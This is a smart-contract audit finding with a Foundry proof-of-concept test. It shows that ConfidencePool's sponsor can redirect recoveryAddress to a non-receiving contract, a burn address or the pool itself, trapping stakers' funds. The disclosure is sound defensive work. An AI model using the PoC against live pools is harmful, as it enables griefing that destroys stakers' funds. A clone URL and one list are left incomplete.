The setRecoveryAddress() function in ConfidencePool.sol allows the sponsor (pool owner) to update the destination address for funds during CORRUPTED resolution via claimCorrupted(). When a pool is created, this address is initialized and intended to receive seized funds if the agreement is proven corrupted.
The setRecoveryAddress() function has only one validation: it cannot be address(0). There is no time-lock, no on-chain notification actionable by stakers, and no locking mechanism like those applied to other critical parameters.
As a result, the sponsor can change recoveryAddress at any time, even after stakers have deposited, to an address that is technically incapable of returning tokens, such as:
Once claimCorrupted() is called, funds are sent to that address and no rescue or emergencyWithdraw function exists in the contract to recover them.
The contract applies one-way locking mechanisms to other critical parameters to protect stakers, but neglects recoveryAddress:
expiry has the expiryLocked gate. scope has the scopeLocked gate. Yet recoveryAddress has no gate at all. It is a parameter left unprotected, despite having the greatest financial impact (the entire pool, not just bonuses).
"All staker-relevant state is on-chain; stakers should verify pool parameters before depositing."
However, pre-deposit verification does not protect stakers from changes made after they have deposited. This contradicts other mechanisms explicitly designed to protect stakers from post-deposit changes.
Critical question: If expiry and scope are locked to protect stakers from sudden changes after deposit, why does recoveryAddress not receive the same protection? The financial impact is far greater. The entire pool can be lost, not just bonuses.
Reason 1: Whenever the sponsor decides to change recoveryAddress, whether due to negligence (wrong address input) or malicious intent, the change takes effect instantly with no time-lock. Stakers have no opportunity to react.
Reason 2: There is no on-chain mechanism for stakers to prevent, delay, or respond to this change. The only protection is the sponsor's honesty, which is not a technical safeguard.
Impact 1: If the pool reaches CORRUPTED status (via honest moderator or auto-resolution), claimCorrupted() sends all funds (stake + bonus) to recoveryAddress. If that address cannot return tokens, funds are permanently lost. No rescue or emergencyWithdraw function exists in the contract.
Impact 2: A single input error by the sponsor (human error) can result in total loss for all stakers. This is not only a "malicious sponsor" scenario. It is also the absence of a safety net for operational mistakes that should be anticipated by contract design.
Testing Methodology
Testing was conducted by following the existing test patterns in the repository (BaseConfidencePoolTest). One minimal mock contract was added (MockNonReceivingContract) to simulate an address that cannot return tokens. This contract intentionally has no receive or fallback function, meaning tokens sent to it can never be retrieved.
Three scenarios were tested:
1. Sponsor changes recoveryAddress to a contract without receive/fallback
2. Sponsor changes recoveryAddress to a burn address (0x...DEAD)
3. Sponsor changes recoveryAddress to the pool's own address (address(this))
All mocks used (token, registry, agreement, attack registry) are mocks already present in the repository. No changes were made to the ConfidencePool contract under test.
---
Reproduction Steps
1. Clone the repository and enter the directory:
```bash
git clone https:
cd 2026-07-bc-confidence-pools
```
2. Create the mock file test/mocks/MockNonReceivingContract.sol:
```solidity
pragma solidity 0.8.26;
contract MockNonReceivingContract {
}
```
3. Create the test file test/unit/GriefingRecoveryAddress.t.sol with the following content:
```solidity
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockNonReceivingContract} from "test/mocks/MockNonReceivingContract.sol";
contract GriefingRecoveryAddressTest is Test {
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreementContract;
ConfidencePool internal pool;
address internal agreement;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal sponsor = makeAddr("sponsor");
address internal alice = makeAddr("alice");
uint256 internal constant ONE = 1e18;
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
address internal constant DEAD_ADDRESS = address(0xDEAD);
function setUp() public {
vm.warp(BASE_TIMESTAMP);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(sponsor);
agreement = address(agreementContract);
agreementContract.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
address[] memory scope = new address[](1);
scope[0] = DEFAULT_SCOPE_ACCOUNT;
pool.initialize(
agreement, address(token), address(safeHarborRegistry),
moderator, block.timestamp + 31 days, ONE, recovery, sponsor, scope
);
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _goToCorrupted() internal {
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
pool.pokeRiskWindow();
}
function test_Griefing_RecoveryAddressToNonReceivingContract_TokensTrapped() public {
MockNonReceivingContract nonReceiving = new MockNonReceivingContract();
_stake(alice, 10 * ONE);
vm.prank(sponsor);
pool.setRecoveryAddress(address(nonReceiving));
assertEq(pool.recoveryAddress(), address(nonReceiving));
_goToCorrupted();
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 poolBalance = token.balanceOf(address(pool));
pool.claimCorrupted();
assertEq(token.balanceOf(address(pool)), 0, "Pool should be drained");
assertEq(token.balanceOf(address(nonReceiving)), poolBalance,
"Tokens permanently trapped in non-receiving contract");
}
function test_Griefing_RecoveryAddressToDeadAddress() public {
_stake(alice, 10 * ONE);
vm.prank(sponsor);
pool.setRecoveryAddress(DEAD_ADDRESS);
assertEq(pool.recoveryAddress(), DEAD_ADDRESS);
_goToCorrupted();
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 poolBalance = token.balanceOf(address(pool));
pool.claimCorrupted();
assertEq(token.balanceOf(address(pool)), 0, "Pool should be drained");
assertEq(token.balanceOf(DEAD_ADDRESS), poolBalance,
"Tokens permanently trapped in dead address");
}
function test_Griefing_RecoveryAddressToPoolAddress() public {
_stake(alice, 10 * ONE);
vm.prank(sponsor);
pool.setRecoveryAddress(address(pool));
assertEq(pool.recoveryAddress(), address(pool));
_goToCorrupted();
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 balanceBefore = token.balanceOf(address(pool));
pool.claimCorrupted();
uint256 balanceAfter = token.balanceOf(address(pool));
assertEq(balanceBefore, balanceAfter,
"Funds stay in pool with no way to extract");
}
}
```
4. Run the test:
```bash
forge test --match-contract GriefingRecoveryAddressTest -vvv
```
---
Test Output
```
Ran 3 tests for test/unit/GriefingRecoveryAddress.t.sol:GriefingRecoveryAddressTest
[PASS] test_Griefing_RecoveryAddressToDeadAddress() (gas: 562465)
[PASS] test_Griefing_RecoveryAddressToNonReceivingContract_TokensTrapped() (gas: 509479)
[PASS] test_Griefing_RecoveryAddressToPoolAddress() (gas: 464312)
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.90ms
Ran 1 test suite in 14.44ms (1.90ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)
```
---
Output Analysis
All three scenarios successfully demonstrate the vulnerability:
Scenario 1 - Non-Receiving Contract:
Tokens were successfully transferred from the pool to MockNonReceivingContract. After the transfer, the pool balance became zero and all tokens were held by the non-receiving contract. Since this contract has no receive, fallback, or any token withdrawal mechanism, the funds are permanently trapped. There is no way to extract tokens from that contract.
Scenario 2 - Burn Address:
Tokens were successfully transferred to the 0x...DEAD address. This address has no known private key, meaning the tokens can never be moved. The pool balance after transfer is zero, confirming that all funds have left the pool and cannot be retrieved.
Scenario 3 - Pool Address:
Tokens were sent to the pool's own address. Since claimCorrupted() uses safeTransfer to recoveryAddress, and recoveryAddress is now address(this), the tokens simply circulate within the contract. The balance before and after claimCorrupted() remains identical. The funds are not technically lost, but there is no mechanism to extract them because all claim paths (claimSurvived, claimExpired, claimAttackerBounty, sweepUnclaimedBonus) are unavailable in CORRUPTED status. The funds remain locked in the pool permanently.
All three scenarios demonstrate that no fund recovery mechanism exists in the contract. Once claimCorrupted() is called with a problematic recoveryAddress, no party can rescue the funds.